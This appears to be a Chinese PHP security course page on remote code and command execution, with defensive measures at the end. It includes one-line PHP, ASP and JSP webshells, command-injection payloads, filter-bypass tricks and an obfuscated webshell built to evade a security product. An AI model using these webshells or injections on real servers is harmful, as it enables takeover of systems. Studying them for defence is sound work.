RCE漏洞
一、课程知识点
1、远程代码执行漏洞原理与利用
2、常见的代码执行函数
3、常见的命令执行函数
4、常见的绕过姿势
5、命令执行漏洞防范
二、技术目标
1、掌握命令执行漏洞的原理
2、掌握 PHP 命令执行和代码执行的相关函数
3、掌握常见的绕过姿势
4、掌握代码执行漏洞防御措施
三、课程内容
1. 什么是 RCE
RCE 又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或 者代码,从而控制后台系统(shell 服务器)。
RCE 可以细分为代码执行和命令执行。代码执行执行的是后端语言的代码,命令执行执 行的是系统的命令,直接对系统进行操作。
代码执行-Remote code execution 命令执行-Remote command execution
英文的单词首字母都是 RCE,所以这两个漏洞都被称为 RCE
- 代码执行:可通过 HTTP 请求让服务端执行服务端 WEB 代码的漏洞,通过服务端 WEB 代码也可以漏洞通常是由于代码执行函数(参数)引用了用户可控变量且未进行有 效过滤引起的。常用的一句实现服务端系统命令执行,此类一句话木马就是个人生 成的代码执行漏洞。
- 命令执行:可通过 HTTP 请求直接让服务端执行系统命令的漏洞,通常是由于系统命 令执行函数引用了用户可控变量且未进行有效过滤引起的。
此外,其他一些安全漏洞在利用过程中也可能导致远程命令执行,如文件包含漏洞、反 序列化漏洞等。
2. RCE 产生的原因
程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、简洁, 方便,但是也伴随着一些问题。如果我们开发的应用,特别是企业级的一些应用需要去调用一 些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。而应用在 调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中, 在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
总之,是对用户输入内容的过滤不完善,最终导致用户输入的恶意内容被执行。
3. 危险函数或触发方式
3.1 php 代码执行函数
eval()
eval( ) 函数把()中的字符串按照 PHP 代码来执行。该字符串必须是合法的 PHP 代码,且必须以 分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
一句话木马原型。虽然可以以函数的方式调用 eval(),但是 eval() 不是 PHP 的函数,是一种语 法结构,不能动态调用。在 eval() 执行的字符串要以分号结束。
a=$file=fopen("x.php","w") or die("false"); fwrite($file, "<?php @eval(\$ POST['cmd']);?>"); fclose($file);
代码示例:
<?php
$code = $ REQUEST['a'];
eval($code);
assert()
assert() 会将字符串当做 PHP 代码来执行。assert() 可以动态调用。高版本 PHP 中,assert() 被弃用。
代码示例:
$code = $ REQUEST['a'];assert($code);
create function()
create function():创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引 用。
<?php $a = 'phpinfo();';$b = create function("",$a);$b();?>
call user func()
调用回调函数。原型: mixed call user func ( callable callback[,mixedparameter [, mixed $… ]] )。 第 一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
<?php
$func = 'assert';$arg = "phpinfo();";call user func($func, $arg);
call user func array()
回调函数,参数为数组,可以传递多个参数给回调函数。返回回调函数的返回值。适用于动态函数调 用。
用法同上
<?php
$cmd=$ POST['cmd']; $array[0]=$cmd; call user func array("assert",$array); ?>
uasort() /sort()
uasort () 函数使用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果 成功则返回 TRUE,否则返回 FALSE。
<?php
$e= 'assert';$arr = array($ REQUEST['pass'],'phpinfo();');uasort($arr,$e)?>
preg replace()
preg replace() 函数执行一个正则表达式的搜索和替换。
preg replace(‘正则规则’,‘替换字符’,‘目标字符’)
执行命令和上传文件参考 assert 函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e 修饰符,则存在代码 执行漏洞。
preg replace(“/test/e”,$ POST[“cmd”],“jutst test”);
函数中第一个参数是正则表达式,e 是正则表达式的修饰符。
$code = preg replace('~i~', 'I', 'xiu');
$code = preg replace('~\[(.*)\]~e', '\\1', '[phpinfo()]'); echo $code;
array map()
为数组的每个元素应用回调函数。用于将回调函数应用于数组的每个元素。接受一个回调函数和一个 或多个数组。返回一个新数组,数组元素是回调函数应用于原始元素的结果。适用于转换或处理数组 元素。
代码示例:
$func = "assert";$arg[] = "phpinfo();";array map($func, $arg);
array filter()
array filter — 使用回调函数过滤数组的元素。array filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在结果的数组中。数组的 键名保留不变,适用于基于条件移除数组中的元素。
<?php $array[0] = $ GET['a'];array filter($array,'assert');?>
<?php
$cmd=$ POST['cmd'];
$array1=array($cmd);
$func =$ GET['aaa'];
array filter($array1,$func);
?>
此外,${}也可以执行代码(在双引号中倘若有${}出现,那么{}内的内容将被当做 php 代码块来执行。) 比如:
<?php
${phpinfo()};
?>
3.2 php 命令执行函数
system()
system:可以执行系统命令,并且将其输出
<?php
$code=$ GET['a'];
system($code);
?>
写入一句话木马 echo ^<?php @eval($ POST['cmd']);?^> > x.php
http://127.0.0.1/rce/a.php?a=echo ^<?php @eval($ POST['cmd']);?^> > x.php
其中 ^ 的作用是转义 <
passthru()
passthru :执行外部程序并且显示原始输出
<?php @passthru($ POST['cmd']); ?>
cmd=ipconfig 即可显示信息
exec()
这个函数有点特殊,他只输出最后一行
并且他的输出需要自己打印。(即用 echo 打印出来
<?php
echo exec($ POST['cmd']);
//echo "";?>
shell exec()
shell exec :通过
shell 执行命令并将完整的输出以字符串的方式返回
<?php echo "shell exec($ POST['cmd'])"; ?>
popen()/proc open()
该函数也可以将字符串当作 OS 命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函 数有两个参数。
<?php $cmd=$ POST['cmd'].">>1.txt"; popen("$cmd",'r'); ?>
$cmd 将文件查询结果放入 1.txt ,popen 将该文件赋予可读权限 在 linux 里,命令为 popen(“/bin/ls”,‘r’);
反引号 ``
[``]反引号里的东西也会被当成系统命令执行。whoami 可以直接执行
<?php echo `whoami` ?>
${}
${}也可以执行代码(在双引号中倘若有${}出现,那么{}内的内容将被当做 php 代码块来执行。)
<?php
${phpinfo()};
?>
除了 PHP 以外,再来看看其他开发语言常用的命令执行函数。 JSP 执行系统命令:
ASP 执行系统命令:
4 常见管道符
4.1 windows
- " | "
直接执行后面的语句(前面的语句是错是对无关紧要)
C:\Users\fwz>echo "1" | echo "2"
"2"
- " || "
如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
C:\Users\fwz>echo "1" || echo "2"
"1"
C:\Users\fwz>echoo "1" || echo "2"
'echoo' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
"2"
- " & "
两条命令都执行,前面的语句可真可假
C:\Users\fwz>echoo "1" & echo "2"
'echoo' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
"2"
C:\Users\fwz>echo "1" & echo "2"
"1"
"2"
- " && "
如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的
语句只能为真
C:\Users\fwz>echo "1" && echo "2"
"1"
"2"
C:\Users\fwz>echoo "1" && echo "2"
'echoo' 不是内部或外部命令,也不是可运行的程序 或批处理文件。
4.2 Linux
- " ; "
执行完前面的语句再执行后面的语句,如果前面的语句出错,则执行后面的命令
ping -c 4 127.0.0.1;ls
- " | "
显示后面语句的执行结果(前面的语句无论对错) ping -c 4 127.0.0.1 | ls
- " || "
当前面的语句执行出错时,执行后面的语句
ping -c 4 127.0.0.1.1 || ls
- " & "
两条命令都执行,前面的语句可真可假 ping -c 4 127.0.0..1.1 & ls
- " && "
前面的语句为真才能执行两条命令,否则都不执行
5 命令执行漏洞演示
以 DVWA 平台 low 安全等级为例,我们来看看这个漏洞的具体成因,漏洞页面如下:
如上图,输入 IP 地址,点击 Submit,就会执行 ping 命令。查看后端代码:
分析上图代码,首先通过 php uname('s')读取操作系统名,与'Windows NT'对比,判断 是不是 Windows 系统。如果是 windows 系统,则通过 shell exec()函数执行 ping 命令。如 果不是,则判断为 Linux 系统,执行 ping -c 4 命令(因为 Linux 系统如果不指定发包数, 就会一直 ping 下去)。可以看到,这里并没有对输入的'ip'参数做任何过滤,因此存在命令 执行漏洞。在Windows和Linux中,我们可以使用&来执行多条命令。输入8.8.8.8 & ipconfig , 结果如下:
Ipconfig 命令被一并执行了,并且成功返回结果。这就是一个简单的命令执行漏洞,如 果 web 应用为 root 权限,我们还可以执行创建用户等各类操作。
在上面的例子中,我们使用&作为连接符,实现同时执行多条命令。下面介绍几种系统常 用的命令连接符。
6 一些通用的绕过姿势
6.1 空格被限制
可以用以下字符串代替:
< -- 重定向,如 cat<flag.php
<>
%09
-- 重定向,如 cat<>flag.php
-- 需要 php 环境,如 cat%09flag.php
${IFS} -- 单纯 cat$IFS2,IFS2 被 bash 解释器当做变量名,输不出来结果,加一个{}就固定了变量 名,如 cat${IFS2}flag.php
$IFS$9 -- 后面加个$与{}类似,起截断作用,$9 是当前系统 shell 进程第九个参数持有者,始终 为空字符串,如 cat$IFS2$9flag.php
#cat flag
flag{hell0 W0rld}
6.2 黑名单绕过
- 拼接
- 单引号和双引号绕过
- 反斜杠绕过
- 编码(base64)
- 编码(hex)
- 空变量绕过
┌──(root㉿kali)-[/home/fwz]
└─# cat fl$@ag
flag{hell0 W0rld}
6.3 代码执行中函数被过滤
比如存在 eval(),我们想借助这个去转到命令执行来获取 flag 或者是进一步获取系统的操作权限, 但是关键的命令执行函数 system()等被过滤
- 反引号绕过
也称之为内敛执行。在权限足够的情况下,php 中的反引号可以直接执行系统命令
7 过狗一句话原理与利用
在之前的文件上传漏洞中就有介绍过木马文件,通过上传木马文件实现远程连接从而进 行远程控制操作。利用上传文件漏洞上传木马文件过程中,可能会遇到服务端对上传文件后 缀、文件名、文件格式以及文件内容等进行检测过滤,从而导致木马文件上传失败。如今存 在很多过滤机制与安全产品能够实现网站上传保护,比如安全狗。因此,学习如何绕过这些 保护机制成功上传木马文件是至关重要的。在下面的学习中我们称之为过狗一句话,该名称 源于绕过安全狗的检测机制成功过上传一句话木马文件。
在学习过狗一句话之前,需要先学习一句话木马的原理与利用,将一句话木马剖析清楚 后有利于对过狗一句话原理的理解。
7.1 一句话木马
WEBSHELL 又称网页木马文件,根据开发语言的不同又分为 ASP 木马、PHP 木马、JSP 木 马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服 务器被脚本引擎解析,攻击者就可以实现对服务器的控制。
一句话木马因其短小精悍不易被过滤又能与中国菜刀等工具配合使用的优势,成为了业 界最使用的 WEBshell 类型。根据不同开发语言,一句话木马的构造语法不同,下面介绍三种 开发语言的一句话木马写法:
- PHP 一句话木马:
<?php @eval($ POST['v']);?> - JSP 一句话木马:
<%if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getRealPath("\\")+request.getParame ter("f"))).write(request.getParameter("t").getBytes());%>
- ASP 一句话木马:
<% eval request("v")%>
成功上传一句话木马文件后,通过工具进行远程连接 get webshell,比如菜刀和蚁剑:
下面分别介绍下各类开发语言的木马语句构造原理:
- PHP 木马
语法:<?php @eval($ POST['v']);?>
原理:eval()函数会将参数作为 PHP 代码进行执行,因此通过 eval()函数中的参数 v 提 交要执行的代码即可完成漏洞利用。语句中的@符号作用是可以屏蔽函数执行过程中遇到问题 而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。如此一来,即使$ POST[] 变量没有获取到参数值时也不会报错。这样除了用户界面会友好一些外,更重要的是安全性, 因为屏蔽了出错文件的路径等信息。
成功上传一句话木马文件后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现 任意命令执行,通过 v 参数传入命令执行函数 system(),执行 system()函数中的系统命令:
- ASP 木马
语法:<%eval request("cmd")%>
原理:eval 函数会将参数作为 ASP 代码进行执行,因此通过参数 cmd 提交要执行的代码 即可完成漏洞利用。木马文件成功上传后可以直接用菜刀或蚁剑连接,也可以访问文件上传 路径实现任意命令执行。注意语句中利用的是 request()函数,此函数能够接收 GET 方式和 POST 方式传入的参数,因此传入参数时可以直接在 URL 中构造语句,传入 cmd 参数如下图,
上图中的系统命令 ipconfig 运行结果显示页面如下:
- JSP 一句话木马 语法:
原理:JSP 一句话木马可以向网站提交任意 JSP 代码并生成脚本文件。上述代码中的 request.getParameter("f")获取到参数 f 的值作为创建的文件名,然后调用 write 往创建的 文件中写入 request.getParameter("t")获取到的参数 t 的值作为文件内容。
在火狐构造 post 表单参数,因为是 request 接收所以不论 post 还是 get 服务端都能够 获取到参数值。表单发送后,发现服务端真的创建了 1.txt 文件,并且文件内容就是 hello。
6.2 过狗一句话
单从 php 一句话木马语法上理解,如<?php @eval($ POST[‘pass’])?>,首先$ POST 会获取 post 到服务器的参数名 pass 数据,然后 eval 会将$ POST 获取的字符串按照 php 语
法进行解析,这样我们通过各种 php 函数的组合使用就能通过中国菜刀等工具对服务器的文 件进行操作,这也就是常见一句话的工作原理。
通常,过狗一句话是过滤或者屏蔽一些敏感字眼或敏感函数以此来阻止木马文件中的恶 意代码被执行,比如 eval()函数和 assert()函数等。因此过狗一句话重点就在于如何将 eval
函数绕过安全狗等安全产品的过滤与检测,最终在服务端仍然执行恶意代码并实现远程连接。 举例一种最简单的绕过方式,就是将 eval 字符作为另一个参数传入,如下锁好是:
此时在火狐 post 数据提交处输入 cmd=eval&pass=123 便可构成一句话木马。
或者将 assert 字符串通过拼接方式利用:
通过字符拼接符将 assert 隔开绕过过滤检测,但是此方法只适用于 assert 函数,对于 eval 函数来说不可行,eval 字符隔开后再拼接无法生效,没办法正常执行语句,因此这个方 法局限于 assert 函数的一句话木马绕过。
上面介绍的两种简单绕过方法都有一定的局限性,因此我们需要学习更为规范的通用的
过狗一句话。一般来说,通用的过狗一句话常要用到三个函数:
- str replace('aa','a',$a); //1.被替换内容 2.用作替换内容 3.替换的内容
- base64 encode();
- base64 decode();
//加密
//解密
过狗一句话听起来很复杂,但主要思路就是对一句话中的危险的回调函数 assert 等进行 base64 加密然后插入随便字符,然后用 str replace()函数替换,绕来绕去还是替换成 assert($ POST["v"]);的 base64 加密,然后在解密,就可以了。
整体的 Byass 思路:
根据网站开发语言准备对应的一句话木马,对一句话中的敏感字眼/敏感函数进行base64 编码,在编码后的语句中插入混淆字符,然后再次对其进行 base64 二次编码。对这串字符串 进行压缩处理为了不易别发现,解压后进行 base64 解码处理,接着清除混淆字符后进行二次 解码,最后进行数据拼接完成一句话木马。
6.3 过狗一句话案例
按照上述思路重新编写一句话木马,如下图所示案例:
接下来我们一句句分析上述过狗一句话代码的编写思路:
- 准备好普通的一句话:
- 对其中的危险性函数 assert 进行 base64 编码并加入混淆字符 thinking 和 JoeVatte:
- 对 YXNthinkingzZXJoeVatteJ0 再次 base64 编码:
- 对上述代码使用 gzdeflate()对数据进行压缩:
- 使用 base64 decode 和 gzinflate 进行嵌套,先解压缩再进行 base64 解码,再把值 传入变量中(1-5 的步骤主要是做了 混淆处理)到这一步变量的值 已经转回: YXNthinkingzZXJoeVatteJ0:
- 定义函数 cl()将 YXNthinkingzZXJoeVatteJ0 中的混淆字符替换为空并进行 base64 解码最终转化为 assert:
str replace($step 2,$step 1,$data);的意思是在,$data 数据里面寻找$step 2 数组里的数据,并使用$step 1 数组的数据进行替换,且替换是数组中位置一一对 应的。处理后得到的是 YXNzZXJ0,再使用 base64 解码下就得到 assert,并把 assert 返回到调用函数的位置。
- 经 过 函 数 的 处 理 (cl) 后 cl($data) 返 回 的 值 为 assert , 然 后 进 行 拼 接 , 得 到
$a(@$ POST['cmd']);
实际上经过 1-7 的操作后最终获得:$a(@$ POST['cmd']); == assert(@$ POST['cmd']);
8 命令执行漏洞防范
1、 尽量少用执行命令的函数或者直接禁用;
system()、assert()、shell exec()、passthru()等命令执行函数。
2、 尽量不要执行外部命令;
尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、eval 等 命令执行功能的函数前,要确认参数内容。
3、 使用自定义函数或者函数库来代替外部命令的功能;
4、 参数值尽量使用引号包括,并在拼接前调用 addslashes 函数进行转义;
5、 在使用动态函数之前,确保使用的函数是指定的函数之一;
6、 在进入执行命令的函数方法之前,对参数进行过滤,对敏感字符进行转义;
7、 使用 safe mode exec dir 执行可执行的文件路径;
将 php.ini 文件中的 safe mode 设置为 On,然后将允许执行的文件放入一个目录,并使 用 safe mode exec dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序 时,程序必须在 safe mode exec dir 指定的目录中才会允许执行,否则执行将失败。
8、 对于可控点是程序参数的情况下,使用 escapeshellcmd 函数进行过滤,对于可控点是程 序参数值的情况下,使用 escapeshellarg 函数进行过滤。escapeshellarg 函数会将用户 引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“’”,双引号“"” 会被转义为“"”,分号“;”会被转义为“;”,这样 escapeshellarg 会将参数内容限 制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执 行进行截断,实现防范命令注入攻击的目的。
相关文章:
RCE漏洞
一、课程知识点 1、远程代码执行漏洞原理与利用 2、常见的代码执行函数 3、常见的命令执行函数 4、常见的绕过姿势 5、命令执行漏洞防范 二、技术目标 1、掌握命令执行漏洞的原理 2、掌握 PHP 命令执行和代码执行的相关函数 3、掌握常见的绕过姿势 4、掌握代码执行漏洞防御措施…...
数据通信系统的主要性能指标
1.码元速率 n 误码率 2.数据传输速率 n 误比特率 3.时延 n 往返时间 RTT 1. 码元速率 n 码元 ( Code element) n 码元是 数字信号的计量单位 ( Signal element ), 又称为符号( Symbol )。 n 码元 是指在使用时域表示…...
C语言中的贪心算法
贪心算法(Greedy Algorithm)是一种在每一步选择中都采取当前最优解的算法,希望通过局部最优解的选择,最终得到全局最优解。它常用于解决最优化问题,如最小生成树、最短路径等。本文将从理论到实践,逐步引导…...
使用envoyfilter添加请求头
该envoyfilter实现了这样一个功能,如果请求头中含有Sw8,则添加请求头HasSw8: true。 1. 内嵌lua脚本 apiVersion: networking.istio.io/v1alpha3 kind: EnvoyFilter metadata:name: add-header-filternamespace: demo-bookinfo # 可根据实际情况调整命…...
【机器学习】回归
文章目录 1. 如何训练回归问题2. 泛化能力3. 误差来源4. 正则化5. 交叉验证 1. 如何训练回归问题 第一步:定义模型 线性模型: y ^ b ∑ j w j x j \hat{y} b \sum_{j} w_j x_j y^b∑jwjxj 其中,( w ) 是权重,( b )…...
Elasticsearch名词解释
文章目录 1.什么是Elasticsearch?2.什么是elastic stack(ELK)?3.什么是Lucene?4.什么是文档(document)?5.什么是词条(term)?6.什么是正向索引?7.什么是倒排索引?8.ES中的索引(index)9.映射(Mapping)10.DSL11.elastcisearch与my…...
把Huggingface下载的arrow数据集转化为json格式
Arrow2json 使用默认的Huggingface路径 以allenai/tulu-3-sft-mixture数据集为例。 使用load_dataset即可: from datasets import load_dataset# 加载数据集 dataset load_dataset("allenai/tulu-3-sft-mixture")# 指定保存路径 output_dir "~/…...
手机联系人 查询 添加操作
Android——添加联系人_android 添加联系人-CSDN博客 上面连接添加联系人已测试 是可以 Android : 获取、添加、手机联系人-ContentResolver简单应用_contentresolver 添加联系人-CSDN博客...
kkFileView集成springboot:使用自定义预览接口(非minio预览接口),发现无法预览资源
目录 1、背景2、原因分析3、解决办法 1、背景 按照项目验收要求,需要对minio中存储的数据进行加密 之前提供给kkFileView的预览地址都是获取的minio预览地址 由于minio中的资源进行了加密处理,所以我们自定义预览接口(进行解密操作ÿ…...
C++ 设计模式:观察者模式(Observer Pattern)
链接:C 设计模式 链接:C 设计模式 - 模板方法 链接:C 设计模式 - 策略模式 观察者模式(Observer Pattern)是一种行为设计模式,它定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主…...
Mono 和 IL2Cpp的区别
Mono特征: 标准项目中有Assembly-CSharp.dll , 但在更复杂的项目或特定配置中,可能会有其他.dll或结构变更 在游戏的数据目录下看到一系列的.dll文件,这些文件的语言一般为中间语言 CE附加 , 查看是否有Mono.dll相关模块 目录有MonoBleedingEdge文件夹 IL2Cpp 标准项目应该…...
Windows平台ROBOT安装
Windows环境下ROBOT的安装,按照下文进行部署ROBOT的前提是你的python已安装并且环境变量已设置好. 一、安装setuptools 1、下载后安装 https://pypi.python.org/pypi/setuptools/ 下载你需要的包 setuptools-75.6.0.tar.gz 解压下载的包在命令行中进入该包,敲击如下命令后…...
DevOps实战:用Kubernetes和Argo打造自动化CI/CD流程(2)
DevOps实战:用Kubernetes和Argo打造自动化CI/CD流程(2) 背景 Tips 翻遍国内外的文档,关于 Argo 作为 CI/CD 当前所有开源的文档,博客,argo官方文档。得出的结论是: argo官方给出的例子都相对…...
深入浅出 MyBatis | CRUD 操作、配置解析
3、CRUD 3.1 namespace namespace 中的包名要和 Dao/Mapper 接口的包名一致! 比如将 UserDao 改名为 UserMapper 运行发现抱错,这是因为 UserMapper.xml 中没有同步更改 namespace 成功运行 给出 UserMapper 中的所有接口,接下来一一对…...
Hutool 发送 HTTP 请求的几种常见写法
最简单的 GET 请求: String result HttpUtil.get("https://www.baidu.com");带参数的 GET 请求: // 方法1: 直接拼接URL参数 String result HttpUtil.get("https://www.baidu.com?name张三&age18");// 方法2: 使用 HashMap…...
计算机网络|数据流向剖析与分层模型详解
文章目录 一、网络中的数据流向二、计算机网络通信模型1.OSI 模型2.TCP/IP 模型3.TCP/IP五层模型3.1 分层架构描述3.2各层地址结构3.3UDP数据包报头结构 三、总结 一、网络中的数据流向 在计算机网络中,数据的流向是指数据从发送端到接收端的传输路径。数据流向涉及…...
在Java技术栈中,常用的分布式一致性算法和框架
在Java技术栈中,常用的分布式一致性算法和框架包括: Raft算法: 常用框架: etcd:虽然主要用Go语言编写,但可以通过Java客户端进行访问和操作。Apache Kafka:在其控制器选举中使用类似Raft的机…...
2024.12.29(进程线程实现并发服务器)
作业 多进程多线程并发服务器实现一遍提交。 服务器 #include <myhead.h> #define PORT 12345 #define IP "192.168.124.123"void *fun(void *fd) {int newfd *(int *)fd;char buff[1024];while(1){int res recv(newfd,buff,sizeof(buff),0);if(res 0){p…...
Docker完整技术汇总
Docker 背景引入 在实际开发过程中有三个环境,分别是:开发环境、测试环境以及生产环境,假设开发环境中开发人员用的是jdk8,而在测试环境中测试人员用的时jdk7,这就导致程序员开发完系统后将其打成jar包发给测试人员后…...
区块链安全常见的攻击合约和简单复现,附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】
区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 区块链安全常见的攻击合约和简单复现,附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 区块链安全常见的攻击合约和…...
Vue.js 高难度组件开发:从插件化到性能极限优化
Vue.js 高难度组件开发:从插件化到性能极限优化 引言一、插件化组件开发1. 什么是插件化组件2. 案例:构建一个插件化的图表组件 二、动态扩展与自定义组件行为1. 动态添加组件功能 三、复杂交互与细粒度状态管理1. 使用 Vuex 的模块化和动态模块注册 四、…...
一个通用的居于 OAuth2的API集成方案
在现代 web 应用程序中,OAuth 协议是授权和认证的主流选择。为了与多个授权提供商进行无缝对接,我们需要一个易于扩展和维护的 OAuth 解决方案。本文将介绍如何构建一个灵活的、支持多提供商的 OAuth 系统,包括动态 API 调用、路径参数替换、…...
折腾日记:如何让吃灰笔记本发挥余热——搭建一个相册服务
背景 之前写过,我在家里用了一台旧的工作站笔记本做了服务器,连上一个绿联的5位硬盘盒实现简单的网盘功能,然而,还是觉的不太理想,比如使用filebrowser虽然可以备份文件和图片,当使用手机使用网页…...
C# dynamic 类型详解
简介 C# 中的 dynamic 是一种特殊类型,它允许在运行时确定对象的类型和成员,而不是在编译时。 dynamic 的定义 dynamic 是一种类型,它告诉编译器对其进行“动态类型解析”。 dynamic 类型的变量会跳过编译时类型检查,所有的操作…...
postgresql ERROR: cannot drop the currently open database
postgresql ERROR: cannot drop the currently open database 解释: 这个错误表明你正在尝试删除或者切换当前正在使用的数据库。在PostgreSQL中,一个数据库对应着一个进程,当一个数据库处于打开状态时,你不能直接删除或者切换它…...
Excel基础知识
一:数组 一行或者一列数据称为一维数组,多行多列称为二维数组,数组支持算术运算(如加减乘除等)。 行:{1,2,3,4} 数组中的每个值用逗号分隔列:{1;2;3;4} 数组中的每个值用分号分隔行列…...
【pwnlab_init靶场渗透】
文章目录 一、基础信息 二、信息收集 三、漏洞利用 四、反弹shell 五、提权 一、基础信息 Kali IP :192.168.20.146 靶机IP:192.168.20.157 二、信息收集 nmap -sS -sV -p- -A 192.168.20.157 开放了80、111、3306、50749等端口 访问一下80端口…...
【泰克生物】酶突变文库筛选技术:通过酵母展示实现酶的精准进化
酶工程是生物技术中的一个重要领域,涵盖了酶的改造、优化和应用。通过对酶分子进行定向进化,可以获得具有更高催化效率、更广泛底物特异性或更强稳定性的酶。酶突变文库筛选技术,尤其是酵母展示平台,提供了一种高效且可操作的方法…...
C++Primer 类简介
欢迎阅读我的 【CPrimer】专栏 专栏简介:本专栏主要面向C初学者,解释C的一些基本概念和基础语言特性,涉及C标准库的用法,面向对象特性,泛型特性高级用法。通过使用标准库中定义的抽象设施,使你更加适应高级…...
人工智能知识分享第三天-机器学习中交叉验证和网格搜索
交叉验证和网格搜索 交叉验证解释: 概述: 它是一种更加完善的, 可信度更高的模型预估方式, 思路是: 把数据集分成n份, 每次都取1份当做测试集, 其它的当做训练集, 然后计算模型的: 评分. 然后再用下1份当做测试集, 其它当做训练集, 计算模型评分, 分成几份, 就进行几次计算, 最…...
00序言:我为什么会选择AI?
序言:我为什么会选择AI? 2023年,对我来说是一个转折点。那一年,我在人工智能领域已经积累了几年的经验,深刻感受到了这场技术变革的巨大冲击。曾经,我也像许多人一样,怀疑自己是否能跟上这个快…...
【AIGC-ChatGPT副业提示词指令 - 动图】魔法咖啡馆:一个融合创意与治愈的互动体验设计
引言 在当今快节奏的生活中,咖啡早已不仅仅是提神醒脑的饮品,更成为了一种情感寄托和生活态度的表达。本文将介绍一个独特的"魔法咖啡馆"互动体验设计,通过将咖啡与情感、魔法元素相结合,创造出一个充满想象力和治愈感…...
VSCode outline显示异常的解决方法——清除VSCode的配置和用户文件
1. 删除所有配置文件 sudo apt remove --purge code2. 删除所有用户文件 rm -rf ~/.config/Code rm -rf ~/.vscode rm -rf ~/.local/share/code rm -rf ~/.cache/Code3. 重装Code sudo dpkg -i code_1.96.2-1734607745_amd64.deb如此,可修复异常导致的outline无…...
Maple软件的安装和使用
文章目录 1.前言说明2.我为什么要学习Maple3.软件的安装4.如何使用4.1基本的赋值语句4.2函数的定义4.3三个类型的书写介质 5.指数运算5.1使用面板5.2自己输入 6.对数的使用 1.前言说明 众所周知,我虽然是一名这个计算机专业的学生,但是我对于数学&#…...
elasticsearch-java客户端jar包中各模块的应用梳理
最近使用elasticsearch-java客户端实现对elasticsearch服务的Api请求,现对elasticsearch-java客户端jar包中各模块的应用做个梳理。主要是对co.elastic.clients.elasticsearch路径下的各子包的简单说明。使用的版本为:co.elastic.clients:elasticsearch-…...
android13 系统文字大小和显示大小的修改
没啥可解释,如题所示,修改系统默认文字大小和显示大小 一修改系统文字大小: 系统文字太小,需要修改文字大小修改如下 commit 82675b7d8ac278e80d94e6b2b1417b266065d2ec Author: admin <bianjbflyscale.cn> Date: Sat …...
【华为OD-E卷 - 任务总执行时长 100分(python、java、c++、js、c)】
【华为OD-E卷 - 任务总执行时长 100分(python、java、c、js、c)】 题目 任务编排服务负责对任务进行组合调度。 参与编排的任务有两种类型,其中一种执行时长为taskA,另一种执行时长为taskB。 任务一旦开始执行不能被打断&#x…...
vue中子组件给父组件传值
在 Vue.js 中,子组件向父组件传递数据或事件通常是通过 $emit 方法来实现的。这个方法允许子组件触发一个自定义事件,父组件可以通过监听这些事件来接收信息。以下是实现这一过程的基本步骤: 1. 子组件触发事件 在子组件中,使用…...
【js】记录预览pdf文件
接口调用拿到pdf的文件流,用blob处理这个文件流拿到url,使用window.open跳转新的窗口进行预览 api({dataType: blob, }).then(res >{if(res.code 0){this.previewPDF(res,application/pdf;charsetutf-8,pdf文件名)} })previewPDF (res, type, fname…...
【Spring MVC 异常处理机制】应对意外情况
在 Web 应用中,异常是不可避免的。用户的输入不合法,服务的某部分出错,或者数据库连接失败,这些情况都可能触发异常。那么问题来了:如何优雅地捕获并处理这些异常,让用户体验不至于因为一时的错误而受损&am…...
《计算机组成及汇编语言原理》阅读笔记:p128-p132
《计算机组成及汇编语言原理》学习第 10 天,p128-p132 总结,总计 5 页。 一、技术总结 1.8088 organization and architecture 8088处理器是16位电脑,寄存器是16位,数据总线(data bus)是8位,地址总线是20位。 (1)g…...
留学生交流互动系统|Java|SSM|VUE| 前后端分离
【技术栈】 1⃣️:架构: B/S、MVC 2⃣️:系统环境:Windowsh/Mac 3⃣️:开发环境:IDEA、JDK1.8、Maven、Mysql5.7 4⃣️:技术栈:Java、Mysql、SSM、Mybatis-Plus、VUE、jquery,html 5⃣️数据库可…...
Windows IPC
进程间通信 (IPC,Inter-Process Communication) 进程间通信 (IPC) 是一种在进程之间建立连接的机制,在两台计算机或一台多任务计算机上运行,以允许数据在这些进程之间流动。进程间通信 (IPC) 机制通常用于客户端/服务器环境,并在…...
BMS存储模块的设计
目的 电池管理系统中存在着数据本地存储的要求,保证控制器重新上电后能够根据存储器中的一些参数恢复控制状态,和信息的下电存储1.继电器故障信息的存储。2. 系统性故障的存储。3.SOC、SOH相关信息的存储。4.均衡参数的存储。5.系统时间信息。6.出厂信息…...
2024-12-29-sklearn学习(25)无监督学习-神经网络模型(无监督) 烟笼寒水月笼沙,夜泊秦淮近酒家。
文章目录 sklearn学习(25) 无监督学习-神经网络模型(无监督)25.1 限制波尔兹曼机25.1.1 图形模型和参数化25.1.2 伯努利限制玻尔兹曼机25.1.3 随机最大似然学习 sklearn学习(25) 无监督学习-神经网络模型(无监督) 文章参考网站&a…...
